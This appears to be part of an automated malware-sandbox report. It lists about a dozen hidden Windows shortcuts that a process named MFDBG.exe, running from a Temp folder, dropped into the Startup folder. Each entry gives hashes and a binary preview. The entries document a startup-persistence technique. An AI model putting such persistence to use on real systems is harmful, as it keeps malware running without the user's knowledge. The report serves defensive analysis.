File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925537740641914
Encrypted:	false
SSDEEP:	24:8K3Bf8f8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+ZEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D12808A0F12B7ADB01D2FBBA3A737178
SHA1:	CC72B91F53F93092008CDC880EC151C8C84E98E8
SHA-256:	501F1C674E3B6B169EF6D62D8CD13A68F128DA484FB34D9CA726B21C9D65D870
SHA-512:	26997B1FA0C58754162FC597DE1DAB3B5B53869F9C5E05C481FF92345EBA635AAEFB6E0FB4A726CE3A578A6A559D49CF6E29CACE6BBA73E78D10520141644F62
Malicious:	false
Preview:	L..................F....".......d....U..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Q...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_652900a696884fcbbf18df3336ca907e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923933727271062
Encrypted:	false
SSDEEP:	24:8GBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	077177E0A72BD62ECCDF044BB19C4439
SHA1:	1BD0B296856AC0ECCC83A2329C4B0EEFB9F2CB9E
SHA-256:	9180B006282B08EAD24E279D5D572162360101E00BA4CEBF0495CD492D3D2EDD
SHA-512:	4FAC5BE58F88D82A8D2315CB375FF8B023C997B5AF60C3B9E56B93C1BD93C9CCD5D529ED6BC1FA8C5729DEA024C58718C71F1E2F70E2A1BE4E830341490F0363
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_653d7d99d35b4f8789b77885fc100271.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926546768860175
Encrypted:	false
SSDEEP:	24:8IrBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8AGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9A1D1A49D475914862A96D628D152993
SHA1:	884C57F485ED6BA1457BDFA8B31B966A10CA53B0
SHA-256:	64174ACCBBC466040206EE2523153254ADC6C9BE400A90282DB7871194BE2CEE
SHA-512:	BDE5B05C1E8711CAB159EB303AA777E1F497CC5B230E54FC1220701BDBF50E0ED91F543A439F83F03D762DB45CBBC3F14D1936CC5FA592493350FBB34D584FA0
Malicious:	false
Preview:	L..................F....".......d....P.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6540affff38a422ea9c3f7dfa44daa45.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93082408425425
Encrypted:	false
SSDEEP:	24:8QBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	79CD564DE43C6643566CAB0F8D6E24A2
SHA1:	69EBAEEEB9A204F9A08E23500DD68DCC828922A2
SHA-256:	F39B68E3B65B5672AB8930AC7AB9039337644C43B9AC12A3A82A535161FE0D8F
SHA-512:	E12F0F0B1E0A98C8CED049AF4F5E9A61E7C5FE14B5756B961D185867561D1F4E9BF9BCEFFD189D139A4484971568BB0285844773801645BE46AF307521A71905
Malicious:	false
Preview:	L..................F....".......d....h.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...$}.Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65ac9a878d964552aeb08efc909c80f0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937663
Encrypted:	false
SSDEEP:	24:8NBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/IEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D4E708549B13F28CB16F4E709CB7D93D
SHA1:	A8EAC53D5EE6A1CD6E7FF2D52D82B0A3E6D5CF73
SHA-256:	A9AF35796115AC6812EBD4B6C144A3B5E2918DF3ED1ED0989EFF3BCFAAC8CDF3
SHA-512:	2C2281FD67F39F6336F408B686A5D50A1DCC94A32B1827D8BE8BB04A392A42860672EA493015ADA744B4AABD00BD153C25A69005125763169290065605FA70AB
Malicious:	false
Preview:	L..................F....".......d...]/.{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...]/.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65bbd61b5cbf407fa1e71132d5337de6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9217803287419235
Encrypted:	false
SSDEEP:	24:8pBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8TyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1003BE51A23E13AEEE0A4F9AFA740D5B
SHA1:	587C123023AC308E83DB31C936BF206C6D7F9C8D
SHA-256:	5D98202EF8E5EE1DFB705C905F28AB5F682F52ECBDB6B6727566DCD03CF5524E
SHA-512:	22D51487D559CC4D2A212A5FC10441C8416E389106A899DD730ACE2A4BB46945F4ED1CA4240DC277076FE8CFA5E007D1AC1E328320F72F74AD246CCD7A9DDDEC
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_660b5e3813494fc4ac1080e4c880221a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929025102774101
Encrypted:	false
SSDEEP:	24:8zQBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:864EvZ0yRO7DLO2zdxdRd1kyg
MD5:	4A03FA52DC6B0C0BD69A4BC39A66EEA3
SHA1:	585B3A5D245A902E3CDAC0BD130F2CEC80BE6C07
SHA-256:	D049657C23C9DB00BC5F9E1D35E120CBD9CBA4C57C46AE7B5AAE1450AE2AD3BC
SHA-512:	A19083EC63360244CE98D95DD8EB36927AEB9645D541B1BF5532212D9E0781B8DF4BC13B897D8BAD9618F799D983AE3CC5CC625C09E8AA154E250FE7ECA5B1BD
Malicious:	false
Preview:	L..................F....".......d...>..Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66440b47f06c450b8dde09c2b58074a2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:17 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926202839762762
Encrypted:	false
SSDEEP:	24:8VdBfm4p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81+9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	3A9FE60ADD9AD94EEC6F38191856F190
SHA1:	F79C537C70D7C058F57ACCD1AEE7EF7078FE8D39
SHA-256:	6173C1A83B2FD483D2646B9F5213E707930E23BD115D70CA1F62C3BC97D5CBA3
SHA-512:	09C51EAB9A0A8F7012308317321EBE1E696C25DCF546BD3AE6212FF5AF08726A2BAA54C45AF948F1B5F3FEB48717FDDA338DD805755038A6C5C1A8974A95AC05
Malicious:	false
Preview:	L..................F....".......d...h`.'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_665a7f1103ed406ca8444dcd1ae127b6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922863236289793
Encrypted:	false
SSDEEP:	24:82Bfwof8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88WEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C1F5ACF7BDB9595FC71C315A12E31B4B
SHA1:	583B7197D1D81289BBBA787095385FA6843038A1
SHA-256:	5B1E9632A4E0BD7E3F523CC70E9A3311AFB284B597CB72A51A831C1BF8AB89C6
SHA-512:	28F2B5D978710DDF7AC7A661A8F7D70A7FFBC82396DB3B97F354BB61F0D15539F4A93C2390A443DE3A7DFC3343254A639D748740CE329959B26E391AB927E702
Malicious:	false
Preview:	L..................F....".......d...-.`[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....:W[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_667935b677aa419a9ccc9bb20f18bbc3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:883Bf88EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kxEvZ0yRO7DLO2zdxdRd1kyg
MD5:	96E351FF61D449DA67C72E743C9EF473
SHA1:	8B9AF21C36F37C04992807A2D1BD500282B45C83
SHA-256:	BA0F43703FF489BB7F02BB106B8D0EF305B1FFF792512A3F2524151A25EBB2CF
SHA-512:	A0BBE367FAD409511C8657C22C25B56342269639D420E73CE408ABA1085402921B8C62697D33E11A735F8768C6D319E1D15871701EF96327451FA33AFD96EDE6
Malicious:	false
Preview:	L..................F....".......d...=+Q'd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....?E'd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6687244ea9274efda0ed1ec553695e5b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921302625194349
Encrypted:	false
SSDEEP:	24:8NjBfs68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NlcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	129B0A37927345478D37062CA1A9C87C
SHA1:	71B73E6554F1215CB38F54652FBC73BC0DF8BF56
SHA-256:	46D8F95AAE41D1593E65DDC141F8F3DE47649E1BF7131B408907F73FC2CBB1DC
SHA-512:	5172DA58D09E146432487654F8002B4B557843CFBDAE962389FB8C3EBF9F99F644FC31BDCF89DF0A070C28CC84B6281DB2BE077DE0E8A462DB8156B05B119E3A
Malicious:	false
Preview:	L..................F....".......d...p...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...p...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66a36697849c4f9390c22ea0c739f308.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917934929643598
Encrypted:	false
SSDEEP:	24:8X3Bfbf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XRjEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	659B1B4EF30AFCBAF3CCD08AEC7CE086
SHA1:	D6D81E3755A62B6E816519EE2968911233C7C241
SHA-256:	9B016F8A0257005EE327BAD6784093DB0F48D6DB28DB7E442B3AE08F9162F478
SHA-512:	8309753A84C1B8AB448AEB13FD19096EEE867933727DBD305F1A17B12739D9946B2AD4B60369F59BFA08FE07A187F80DDBE99AEF3E1F1F2CA642A2B2F5DAAA80
Malicious:	false
Preview:	L..................F....".......d.....7.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....k.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66a6195f571e477b92df0eb64afe2a46.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921126919901555
Encrypted:	false
SSDEEP:	24:8hBf08EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:875EvZ0yRO7DLO2zdxdRd1kyg
MD5:	7C270AC084542854558964265C8E30E9
SHA1:	C705502476099B356F7E289CA234D60EF58EADB6
SHA-256:	82B92E40E265CC11FF81FE18103DF19C11D35148FE8A79AEF2205C1CB71CA54E
SHA-512:	E2B6C8D9AD4422AC2A80CBDFD2E671DE36F658D7D7709E919330594EB1AF0C960EA34CE8F81013FB9D039591A2628EF225C2C9D8CB2ABF1AFBCF39503FFD6260
Malicious:	false
Preview:	L..................F....".......d....%=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...z.D=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66dd904bad6a47eb9ab3842b34433239.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
